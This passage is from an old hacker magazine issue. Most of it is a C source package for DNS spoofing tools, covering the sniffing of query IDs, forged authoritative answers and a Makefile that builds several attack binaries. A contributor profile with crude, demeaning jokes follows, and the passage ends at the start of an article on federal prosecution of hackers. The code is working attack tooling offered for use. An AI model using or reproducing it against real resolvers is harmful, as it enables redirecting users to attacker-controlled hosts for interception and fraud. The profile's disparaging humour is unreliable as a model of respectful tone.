printf("ADMsn0ofID.c %s ADM ID sniffer\n",VERSION); printf("ADMsnO0fID (\033[5m\033[01mc\033[0m) ADM,Heike\n"); sleep(1);

pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);

s_ipns = host2ip(argv[4]);

d_ip = host2ip(argv[2]);

con = myrand();

/* make the question for get the ID */

sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]); dnssend‑>id = 2600;

dnssend‑>qr = 0;

dnssend‑>rd = 1;

dnssend‑>aa = 0;

dnssend‑>que_num = htons(1);

dnssend‑>rep_num = htons(0);

i = makepaketQS(data2,namefake,TYPE_A);

udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i);

printf("Question sended...\n");

printf("Its Time to w8 \n");

while(1)

{

buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */

ip = (struct iphdr *)(buffer+ETHHDRSIZE);

udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE); dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE); data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

if(ip‑>protocol == IPPROTO_UDP){

printf("[%s:%i ‑>",inet_ntoa(ip‑>saddr),ntohs(udp‑>source)); printf("%s:%i]\n",inet_ntoa(ip‑>daddr),ntohs(udp‑>dest));

}

if(ip‑>protocol == 17 )

if(ip‑>saddr.s_addr == d_ip )

if(ip‑>daddr.s_addr == s_ipns )

if(udp‑>dest == htons(53) )

if(dnsrecv‑>qr == 0 )

{

printf("kewl :)~ we have the packet !\n");

ID = dnsrecv‑>id ; /* we get the id */

printf("the current id of %s is %d \n",argv[2],ntohs(ID));

DA_ID = ntohs(ID);

printf("send the spoof...\n");

dnsspoof(dnstrust,argv[2],spoofname,spoofip,DA_ID,type);

printf("spoof sended...\n");

exit(0);

}

}

/* well now we have the ID we cant predict the ID */

}

<‑‑>

<++> ADMIDpack/ADMsniffID.c

#include <pcap.h>

#include "ADM‑spoof.c"

#include "dns.h"

#include "ADMDNS2.c"

#define ERROR ‑1

#define DNSHDRSIZE 12

#define VERSION "ver 0.4 pub"

int ETHHDRSIZE;

void usage(){

printf("usage : ADMsniffID <device> <IP> <name> <type of spoof[1,12]> \n"); printf("ex: ADMsniffID eth0 \"127.0.0.1\" \"www.its.me.com\" \n"); exit(ERROR);

}

void main(int argc, char **argv)

{

struct pcap_pkthdr h;

struct pcap *pcap_d;

struct iphdr *ip;

struct udphdr *udp;

struct dnshdr *dnsrecv,*dnssend;

char *data;

char *data2;

char *buffer;

char SPOOFIP[255];

char bla[255];

char spoofname[255];

char tmp2[255];

char ebuf[255];

char buffer2[1024];

unsigned char namez[255];

int sraw,on=1,tmp1,type;

if(argc <2)usage();

if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;

else ETHHDRSIZE = 14;

strcpy(SPOOFIP,argv[2]);

strcpy(spoofname,argv[3]);

type = atoi(argv[4]);

/* Buffer 'n' tcp/ip stuff */

dnssend = (struct dnshdr *)buffer2;

data2 = (char *)(buffer2+12);

/* bzero(buffer,sizeof(buffer)); */

bzero(bla,sizeof(bla));

bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

/* open pcap descriptor */

pcap_d = pcap_open_live(argv[1],sizeof(buffer),0,100,ebuf);

printf("ADMsniffID %s (c) ADMnHeike\n",VERSION);

while(1){

buffer =(u_char *)pcap_next(pcap_d,&h); /* catch the packet */

ip = (struct iphdr *)(buffer+ETHHDRSIZE);

udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE); dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE); data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

if(ip‑>protocol == 17)

if(udp‑>dest == htons(53) )

if(dnsrecv‑>qr == 0)

{

strcpy(namez,data);

nameformat(namez,bla);

printf("hum we have a DNS question from %s diz guyz wanna %s!\n",inet_ntoa(ip‑>saddr),(char *)bla);

bzero(bla,sizeof(bla));

printf("the question have the type %i and type of the query %i\n" ,ntohs(*((u_short *)(data+strlen(data)+1))) ,ntohs(*((u_short *)(data+strlen(data)+2+1))));

/* well in diz version we only spoof the type 'A' */

/* check out for a new version in ftp.janova.org/pub/ADM */

printf("make the spoof packet...\n");

printf("dns header\n");

/* here we gonna start to make the spoofed paket :)*/

memcpy(dnssend,dnsrecv,DNSHDRSIZE+strlen(namez)+5);

dnssend‑>id=dnsrecv‑>id; /* haha the ID ;) */

dnssend‑>aa=1; /* i've the authority */

dnssend‑>ra=1; /* i've the recusion */

dnssend‑>qr=1; /* its a awser */

dnssend‑>rep_num = htons(1); /* i've one awnser */

printf("ID=%i\nnumba of question=%i\nnumba of awnser =%i\n" ,dnssend‑>id,ntohs(dnssend‑>que_num),ntohs(dnssend‑>rep_num)); printf("Question..\n"); printf("domainename=%s\n",data2);

printf("type of question=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1)))); printf("type of query=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1+2))));

if( type == TYPE_PTR){

tmp1=strlen(namez)+5;

strcpy(data2+tmp1,namez);

tmp1=tmp1+strlen(namez)+1;

bzero(tmp2,sizeof(tmp2)); nameformat(spoofname,tmp2);

printf("tmp2 = %s\n",tmp2);

printf(" mouhahahah \n");

*((u_short *)(data2+tmp1)) = htons(TYPE_PTR); *((u_short *)(data2+tmp1+2)) = htons(1); *((u_long *)(data2+tmp1+2+2)) = htonl(86400); *((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1)); printf("bhaa?.\n");

strcpy((data2+tmp1+2+2+4+2),tmp2);

printf(" ouf !! =) \n");

tmp1 = tmp1 +strlen(tmp2)+ 1;

}

if( type == TYPE_A){

tmp1=strlen(namez)+5;

strcpy(data2+tmp1,namez);

tmp1=tmp1+strlen(namez)+1;

*((u_short *)(data2+tmp1)) = htons(TYPE_A); *((u_short *)(data2+tmp1+2)) = htons(1); *((u_long *)(data2+tmp1+2+2)) = htonl(86400); *((u_short *)(data2+tmp1+2+2+4)) = htons(4); *((u_long *)(data2+tmp1+2+2+4+2)) = host2ip(SPOOFIP);

}

printf("Answer..\n");

printf("domainname=%s\n",tmp2); printf("type=%i\n",ntohs(*((u_short *)(data2+tmp1)))); printf("classe=%i\n",ntohs(*((u_short *)(data2+tmp1+2)))); printf("time to live=%u\n",ntohl(*((u_long *)(data2+tmp1+2+2)))); printf("resource data lenght=%i\n",ntohs(*((u_short *)(data2+tmp1+2+2+4)))); printf("IP=%s\n",inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));

tmp1=tmp1+2+2+4+2+4; /* now tmp1 == the total length of packet dns */

/* without the dnshdr */

udp_send(sraw

,ip‑>daddr

,ip‑>saddr

,ntohs(udp‑>dest)

,ntohs(udp‑>source)

,buffer2

,DNSHDRSIZE+tmp1);

} /* end of the spoof */

} /* end of while(1) */

} /* The End !! ;) */

<‑‑>

<++> ADMIDpack/Makefile

# version 0.1

#/usr/contrib/bin/gcc ‑L. ‑I. ADMkillDNS.c ‑lsocket ‑lnsl ‑lpcap ‑o ../ADMbin/ADMkillDNS SHELL = /bin/sh

# uncomment this if your are not on LinuX

#LIBS = ‑lsocket ‑lnsl ‑lpcap

#

CC = gcc

LIBS = ‑lpcap

BIN = .

CFLAGS = ‑I. ‑L.

all: ADMkillDNS ADMsnOOfID ADMsniffID ADMdnsfuckr ADMnOg00d

ADMkillDNS: ADMkillDNS.c

$(CC) $(CFLAGS) ADMkillDNS.c $(LIBS) ‑o $(BIN)/ADMkillDNS

ADMsnOOfID: ADMsnOOfID.c

$(CC) $(CFLAGS) ADMsnOOfID.c $(LIBS) ‑o $(BIN)/ADMsnOOfID

ADMsniffID: ADMsniffID.c

$(CC) $(CFLAGS) ADMsniffID.c $(LIBS) ‑o $(BIN)/ADMsniffID

ADMdnsfuckr: ADMdnsfuckr.c

$(CC) $(CFLAGS) ADMdnsfuckr.c $(LIBS) ‑o $(BIN)/ADMdnsfuckr

ADMnOg00d: ADMnOg00d.c

$(CC) $(CFLAGS) ADMnOg00d.c $(LIBS) ‑o $(BIN)/ADMnOg00d

clean:

rm ‑f $(BIN)/*o $(BIN)/ADMsniffID $(BIN)/ADMsnOOfID $(BIN)/ADMnOg00d \

$(BIN)/ADMkillDNS $(BIN)/ADMdnsfuckr

<‑‑>

<++> ADMIDpack/bpf.h

/*‑

* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997

*The Regents of the University of California. All rights reserved. *

* This code is derived from the Stanford/CMU enet packet filter, * (net/enet.c) distributed as part of 4.3BSD, and code contributed * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence * Berkeley Laboratory.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement:

* This product includes software developed by the University of * California, Berkeley and its contributors.

* 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission.

*

* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

* @(#)bpf.h 7.1 (Berkeley) 5/7/91

*

* @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL) */

#ifndef BPF_MAJOR_VERSION

/* BSD style release date */

#define BPF_RELEASE 199606

typedefint bpf_int32;

typedefu_int bpf_u_int32;

/*

* Alignment macros. BPF_WORDALIGN rounds up to the next

* even multiple of BPF_ALIGNMENT.

*/

#define BPF_ALIGNMENT sizeof(bpf_int32)

#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT‑1))&~(BPF_ALIGNMENT‑1))

#define BPF_MAXINSNS 512

#define BPF_MAXBUFSIZE 0x8000

#define BPF_MINBUFSIZE 32

/*

* Structure for BIOCSETF.

*/

struct bpf_program {

u_int bf_len;

struct bpf_insn *bf_insns;

};

/*

* Struct returned by BIOCGSTATS.

*/

struct bpf_stat {

u_int bs_recv;/* number of packets received */

u_int bs_drop;/* number of packets dropped */

};

/*

* Struct return by BIOCVERSION. This represents the version number of * the filter language described by the instruction encodings below. * bpf understands a program iff kernel_major == filter_major && * kernel_minor >= filter_minor, that is, if the value returned by the * running kernel has the same major number and a minor number equal * equal to or less than the filter being downloaded. Otherwise, the * results are undefined, meaning an error may be returned or packets * may be accepted haphazardly.

* It has nothing to do with the source code version.

*/

struct bpf_version {

u_short bv_major;

u_short bv_minor;

};

/* Current version number of filter architecture. */

#define BPF_MAJOR_VERSION 1

#define BPF_MINOR_VERSION 1

/*

* BPF ioctls

*

* The first set is for compatibility with Sun's pcc style

* header files. If your using gcc, we assume that you

* have run fixincludes so the latter set should work.

*/

#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__) #defineBIOCGBLEN_IOR(B,102, u_int)

#defineBIOCSBLEN_IOWR(B,102, u_int)

#defineBIOCSETF_IOW(B,103, struct bpf_program)

#defineBIOCFLUSH_IO(B,104)

#define BIOCPROMISC_IO(B,105)

#defineBIOCGDLT_IOR(B,106, u_int)

#define BIOCGETIF_IOR(B,107, struct ifreq)

#define BIOCSETIF_IOW(B,108, struct ifreq)

#define BIOCSRTIMEOUT_IOW(B,109, struct timeval)

#define BIOCGRTIMEOUT_IOR(B,110, struct timeval)

#define BIOCGSTATS_IOR(B,111, struct bpf_stat)

#define BIOCIMMEDIATE_IOW(B,112, u_int)

#define BIOCVERSION_IOR(B,113, struct bpf_version)

#define BIOCSTCPF_IOW(B,114, struct bpf_program)

#define BIOCSUDPF_IOW(B,115, struct bpf_program)

#else

#defineBIOCGBLEN_IOR('B',102, u_int)

#defineBIOCSBLEN_IOWR('B',102, u_int)

#defineBIOCSETF_IOW('B',103, struct bpf_program)

#defineBIOCFLUSH_IO('B',104)

#define BIOCPROMISC_IO('B',105)

#defineBIOCGDLT_IOR('B',106, u_int)

#define BIOCGETIF_IOR('B',107, struct ifreq)

#define BIOCSETIF_IOW('B',108, struct ifreq)

#define BIOCSRTIMEOUT_IOW('B',109, struct timeval)

#define BIOCGRTIMEOUT_IOR('B',110, struct timeval)

#define BIOCGSTATS_IOR('B',111, struct bpf_stat)

#define BIOCIMMEDIATE_IOW('B',112, u_int)

#define BIOCVERSION_IOR('B',113, struct bpf_version)

#define BIOCSTCPF_IOW('B',114, struct bpf_program)

#define BIOCSUDPF_IOW('B',115, struct bpf_program)

#endif

/*

* Structure prepended to each packet.

*/

struct bpf_hdr {

struct timevalbh_tstamp;/* time stamp */

bpf_u_int32bh_caplen;/* length of captured portion */

bpf_u_int32bh_datalen;/* original length of packet */

u_shortbh_hdrlen;/* length of bpf header (this struct

plus alignment padding) */

};

/*

* Because the structure above is not a multiple of 4 bytes, some compilers * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work. * Only the kernel needs to know about it; applications use bh_hdrlen. */

#ifdef KERNEL

#define SIZEOF_BPF_HDR 18

#endif

/*

* Data‑link level type codes.

*/

#define DLT_NULL0/* no link‑layer encapsulation */

#define DLT_EN10MB1/* Ethernet (10Mb) */

#define DLT_EN3MB2/* Experimental Ethernet (3Mb) */

#define DLT_AX253/* Amateur Radio AX.25 */

#define DLT_PRONET4/* Proteon ProNET Token Ring */

#define DLT_CHAOS5/* Chaos */

#define DLT_IEEE8026/* IEEE 802 Networks */

#define DLT_ARCNET7/* ARCNET */

#define DLT_SLIP8/* Serial Line IP */

#define DLT_PPP9/* Point‑to‑point Protocol */

#define DLT_FDDI10/* FDDI */

#define DLT_ATM_RFC148311/* LLC/SNAP encapsulated atm */

#define DLT_RAW12/* raw IP */

#define DLT_SLIP_BSDOS13/* BSD/OS Serial Line IP */

#define DLT_PPP_BSDOS14/* BSD/OS Point‑to‑point Protocol */

/*

* The instruction encondings.

*/

/* instruction classes */

#define BPF_CLASS(code) ((code) & 0x07)

#defineBPF_LD0x00

#defineBPF_LDX0x01

#defineBPF_ST0x02

#defineBPF_STX0x03

#defineBPF_ALU0x04

#defineBPF_JMP0x05

#defineBPF_RET0x06

#defineBPF_MISC0x07

/* ld/ldx fields */

#define BPF_SIZE(code)((code) & 0x18)

#defineBPF_W0x00

#defineBPF_H0x08

#defineBPF_B0x10

#define BPF_MODE(code)((code) & 0xe0)

#defineBPF_IMM 0x00

#defineBPF_ABS0x20

#defineBPF_IND0x40

#defineBPF_MEM0x60

#defineBPF_LEN0x80

#defineBPF_MSH0xa0

/* alu/jmp fields */

#define BPF_OP(code)((code) & 0xf0)

#defineBPF_ADD0x00

#defineBPF_SUB0x10

#defineBPF_MUL0x20

#defineBPF_DIV0x30

#defineBPF_OR0x40

#defineBPF_AND0x50

#defineBPF_LSH0x60

#defineBPF_RSH0x70

#defineBPF_NEG0x80

#defineBPF_JA0x00

#defineBPF_JEQ0x10

#defineBPF_JGT0x20

#defineBPF_JGE0x30

#defineBPF_JSET0x40

#define BPF_SRC(code)((code) & 0x08)

#defineBPF_K0x00

#defineBPF_X0x08

/* ret ‑ BPF_K and BPF_X also apply */

#define BPF_RVAL(code)((code) & 0x18)

#defineBPF_A0x10

/* misc */

#define BPF_MISCOP(code) ((code) & 0xf8)

#defineBPF_TAX0x00

#defineBPF_TXA0x80

/*

* The instruction data structure.

*/

struct bpf_insn {

u_shortcode;

u_char jt;

u_char jf;

bpf_int32 k;

};

/*

* Macros for insn array initializers.

*/

#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }

#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }

#ifdef KERNEL

extern u_int bpf_filter();

extern void bpfattach();

extern void bpf_tap();

extern void bpf_mtap();

#else

#if __STDC__

extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); #endif

#endif

/*

* Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST). */

#define BPF_MEMWORDS 16

#endif

<‑‑>

<++> ADMIDpack/dns.h

#define DNSHDRSIZE 12

struct dnshdr {

unsigned short int id;

unsigned char rd:1; /* recursion desired */

unsigned char tc:1; /* truncated message */

unsigned char aa:1; /* authoritive answer */

unsigned char opcode:4; /* purpose of message */

unsigned char qr:1; /* response flag */

unsigned char rcode:4; /* response code */

unsigned char unused:2; /* unused bits */

unsigned char pr:1; /* primary server required (non standard) */

unsigned char ra:1; /* recursion available */

unsigned short int que_num;

unsigned short int rep_num;

unsigned short int num_rr;

unsigned short int num_rrsup;

};

<‑‑>

<++> ADMIDpack/ip.h

/* adapted from tcpdump */

#ifndef IPVERSION

#define IPVERSION 4

#endif /* IPVERISON */

struct iphdr {

u_char ihl:4,/* header length */

version:4;/* version */

u_char tos;/* type of service */

short tot_len;/* total length */

u_short id;/* identification */

short off;/* fragment offset field */

#define IP_DF 0x4000/* dont fragment flag */

#define IP_MF 0x2000/* more fragments flag */

u_char ttl;/* time to live */

u_char protocol;/* protocol */

u_short check;/* checksum */

struct in_addr saddr, daddr; /* source and dest address */

};

#ifndef IP_MAXPACKET

#define IP_MAXPACKET 65535

#endif /* IP_MAXPACKET */

<‑‑>

<++> ADMIDpack/pcap.h

/*

* Copyright (c) 1993, 1994, 1995, 1996, 1997

*The Regents of the University of California. All rights reserved. *

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement:

*This product includes software developed by the Computer Systems *Engineering Group at Lawrence Berkeley Laboratory.

* 4. Neither the name of the University nor of the Laboratory may be used * to endorse or promote products derived from this software without * specific prior written permission.

*

* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

* @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL) */

#ifndef lib_pcap_h

#define lib_pcap_h

#include <sys/types.h>

#include <sys/time.h>

#include <bpf.h>

#include <stdio.h>

#define PCAP_VERSION_MAJOR 2

#define PCAP_VERSION_MINOR 4

#define PCAP_ERRBUF_SIZE 256

/*

* Compatibility for systems that have a bpf.h that

* predates the bpf typedefs for 64‑bit support.

*/

#if BPF_RELEASE ‑ 0 < 199406

typedefint bpf_int32;

typedefu_int bpf_u_int32;

#endif

typedef struct pcap pcap_t;

typedef struct pcap_dumper pcap_dumper_t;

/*

* The first record in the file contains saved values for some

* of the flags used in the printout phases of tcpdump.

* Many fields here are 32 bit ints so compilers won't insert unwanted * padding; these files need to be interchangeable across architectures. */

struct pcap_file_header {

bpf_u_int32 magic;

u_short version_major;

u_short version_minor;

bpf_int32 thiszone;/* gmt to local correction */

bpf_u_int32 sigfigs;/* accuracy of timestamps */

bpf_u_int32 snaplen;/* max length saved portion of each pkt */

bpf_u_int32 linktype;/* data link type (DLT_*) */

};

/*

* Each packet in the dump file is prepended with this generic header. * This gets around the problem of different headers for different * packet interfaces.

*/

struct pcap_pkthdr {

struct timeval ts;/* time stamp */

bpf_u_int32 caplen;/* length of portion present */

bpf_u_int32 len;/* length this packet (off wire) */

};

/*

* As returned by the pcap_stats()

*/

struct pcap_stat {

u_int ps_recv;/* number of packets received */

u_int ps_drop;/* number of packets dropped */

u_int ps_ifdrop;/* drops by interface XXX not yet supported */

};

typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *, const u_char *);

char*pcap_lookupdev(char *);

intpcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *); pcap_t*pcap_open_live(char *, int, int, int, char *);

pcap_t*pcap_open_offline(const char *, char *);

voidpcap_close(pcap_t *);

intpcap_loop(pcap_t *, int, pcap_handler, u_char *);

intpcap_dispatch(pcap_t *, int, pcap_handler, u_char *);

const u_char*

pcap_next(pcap_t *, struct pcap_pkthdr *);

intpcap_stats(pcap_t *, struct pcap_stat *);

intpcap_setfilter(pcap_t *, struct bpf_program *);

voidpcap_perror(pcap_t *, char *);

char*pcap_strerror(int);

char*pcap_geterr(pcap_t *);

intpcap_compile(pcap_t *, struct bpf_program *, char *, int, bpf_u_int32);

/* XXX */

intpcap_freecode(pcap_t *, struct bpf_program *);

intpcap_datalink(pcap_t *);

intpcap_snapshot(pcap_t *);

intpcap_is_swapped(pcap_t *);

intpcap_major_version(pcap_t *);

intpcap_minor_version(pcap_t *);

/* XXX */

FILE*pcap_file(pcap_t *);

intpcap_fileno(pcap_t *);

pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);

voidpcap_dump_close(pcap_dumper_t *);

voidpcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);

/* XXX this guy lives in the bpf tree */

u_intbpf_filter(struct bpf_insn *, u_char *, u_int, u_int);

char*bpf_image(struct bpf_insn *, int);

#endif

<‑‑>

<++> ADMIDpack/udp.h

struct udphdr {

u_short source;/* source port */

u_short dest;/* destination port */

u_shortlen;/* udp length */

u_short check;/* udp checksum */

};

<‑‑>

Phrack Prophile on o0

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 04 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 2 P R O P H I L E

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Personal

Handle: O0

Call him: pachuco. Hey... me.

Past handles: digital jesus

Handle origin: L. Ron Hubbard and I thought it up. Date of Birth: 07/74

Height: With heels or without?

Weight: In the sixth grade I was in a roman play. I was Naples. Eye color: Blue.

Hair Color: Blue. I'm old.

Computers: Yes please. Extra Mayo, No onions. Admin of: Nothing. I'm not an admin.

Sites Frequented: www.scientology.org (If you are going to hack someone, hack me.)

URLs: The web is a really good excuse to waste time unless you are doing research, distributing religous propaganda, or selling sex oriented products.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Favorite Things

Women: Daemon9, are you trying to ask me something? Cars: Porsche Carrera whatever

Foods: The Roxy in Encinitas, Ca., Filibertos in Encinitas, Ca., and of course, "deli world" in the San Francisco ghetto (Excelsior). $1 food is next door. Music: Fugazi, Jazz, Acid Jazz, Lounge, Gregorian Chant, Jon Spencer ‑ Orange, One Dollar Food (Mondays at the Red Devil Lounge in SF ‑ Feds Welcome, but have good suits and fast sneakers so I know who you are) Movies: Usual Suspects, Ferris Buellers Day Off, Mall Rats, Anything not starring pauly shore or Rodney Dangerfield. Books: Chaos, making a new science by James Gleick The C programming language, by Wik, and Als0 wik. "Why I just can't seem to dance" ‑ A documentary by Daemon9 Quotes: "Hell hath no fury like a woman's scorn for Sega" ‑ Brodie. "Woohoo! The water in this bathtub sure is ... white!" ‑ B. Clinton.

"Woohoo! Jessie Jackson sure is black!" ‑ Pat Buchanan. "I just never can seem to find things when I need them" ‑ Ollie North.

"People will eat shit, if you just put salad dressing on it." ‑ B. Gates.

"ARF! grr." ‑ Tattoo.

Turn Ons: * Miniskirts, Garders, Vinyl, Perfume, Meat Eaters, Smart Girls without attitudes.

Turn Offs: * Fat, ugly, smelly, vegetarian "granolas" with no personality who wear 20 year old clothes that they still have not washed yet, and lack the social skills or capacity to learn.

* Salespeople

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Passions

‑ Business (penetration testing / security auditing).

‑ Tropical places (relaxation).

‑ Urban places (excitement).

‑ Winky, the magic dog, mule, hare catcher.

‑ Computers / networking.

‑ My girlfriend.

‑ Europe in general (but honestly, if you are Dutch and you own a restaurant, come to the US, and learn about ground beef. Also, figure out what "well done" means. Honestly though, I must compliment you on your excellent selection of various strains of marijuana).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Memorable experiences

‑ Owning switches over the Internet (TCP ‑‑> X.25).

‑ Owning my first nice car.

‑ Owning your machine.

‑ Getting punched by a large Sicilian, and getting knocked out.

‑ Putting a large Sicilian in the hospital.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People to mention

‑ Joan Croc, for all of the millions of dollars she never gave me. ‑ Daemon9, for patting me on the back and breaking my spine by accident. ‑ My girlfriend, for being the awesome girl next door.

‑ Her parents, for feeding me all the time.

‑ Tattoo, my puppy ... for pissing on my bed, my floor, and all my clothes. ‑ Everyone who has ever served me coffee.

‑ Everyone who has ever betrayed me. Thanks so much for your warmth and compassion.

‑ Mr Rogers. Using drugs to teach America's youth the moral responsibilities they should adopt for their upcoming, bright futures, and using puppets to illustrate the values of a smoothly flowing dictatorship.

‑ My parents, for tolerating all the weird phone calls from the rest of you fuckers for many years, and for motivating me to learn about things I was interested in by telling me that I would never get a job if I didn't go to college. Heck, at least I didn't buy a degree out of a magazine, and end up President of the United States.

‑ Oprah, for providing me with entertainment while I watched you expand and contract like a blowfish. (I don't think she reads this anyway) (But if I'm wrong, and Oprah is an avid phrack reader, then by all means .. sorry , it was only a joke... Besides, according to MiB, you're an alien).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Pearls Of Wisdom

‑ Don't take any wooden nickels, but if you do, make sure you get enough to build a log cabin. Don't take any log cabins, but of you do, cut them up small enough that you can give alot of people wooden nickels.

‑ Don't make up any cliches, but if you do, make sure they're funny. ‑ Make your business work for you, don't work for your business.

‑ Never ignore the ones you love.

‑ Buy quality merchandise for your home the first time around... unless you have roommates.

‑ If everyone else around you gets caught, its time to stop.

‑ If a speaker is a speaker, and not a "sound emissions device", then is toilet paper "toilet paper", or "Butt Wiping Cloth?"

‑ Eat out alot, unless she tells you to stop.

‑ All the people who consistently come on irc and ask "teach me how to hack", first of all, most of the people on irc understand English as well as its associated rules of grammar. Second, pick up a fricking book once in a while and you might actually be surprised at what you are capable of. We're supposed to be evolving, remember?

‑ When I was a young boy, I ate a snail. If you are a young boy, don't. ‑ If you beat the shit out of someone, make sure its not in front of my house, because I don't want to clean up all that shit.

‑‑‑‑[ EOF

Everything a hacker needs to know about getting busted

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 05 of 20

‑‑‑‑‑‑‑‑‑[ EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS

‑‑‑‑‑‑‑‑[ Agent Steal <agentsteal@usa.net>

From Federal Prison, 1997

Contributions and editing by Minor Threat

Special thanks to Evian S. Sim

NOTICE: The following document is to be construed as "Legal Material" as set forth in The Federal Bureau of Prisons policy statement, P.S. 1315.05, and as codified in 28 C.F.R. 543.10‑16

This article may be freely reproduced, in whole or in part, provided acknowledgments are given to the author. Any reproduction for profit, lame zines, (that means you t0mmy, el8, thief) or law enforcement use is prohibited. The author and contributor to this phile in no way advocate criminal behavior.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CONTENTS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INTRODUCTION

PART I ‑ FEDERAL CRIMINAL LAWPART II ‑ FEDERAL PRISON

A. Relevant ConductA. State v. Federal

B. Preparing for TrialB. Security Levels

C. Plea Agreements and AttorneysC. Getting Designated

D. ConspiracyD. Ignorant Inmates

E. SentencingE. Population

F. Use of Special SkillF. Doing Time

G. Getting BailG. Disciplinary Action

H. State v. Federal ChargesH. Administrative Remedy

I. CooperatingI. Prison Officials

J. Still Thinking About TrialJ. The Hole

K. Search and SeizureK. Good Time

L. SurveillanceL. Halfway House

M. Presentence InvestigationM. Supervised Release

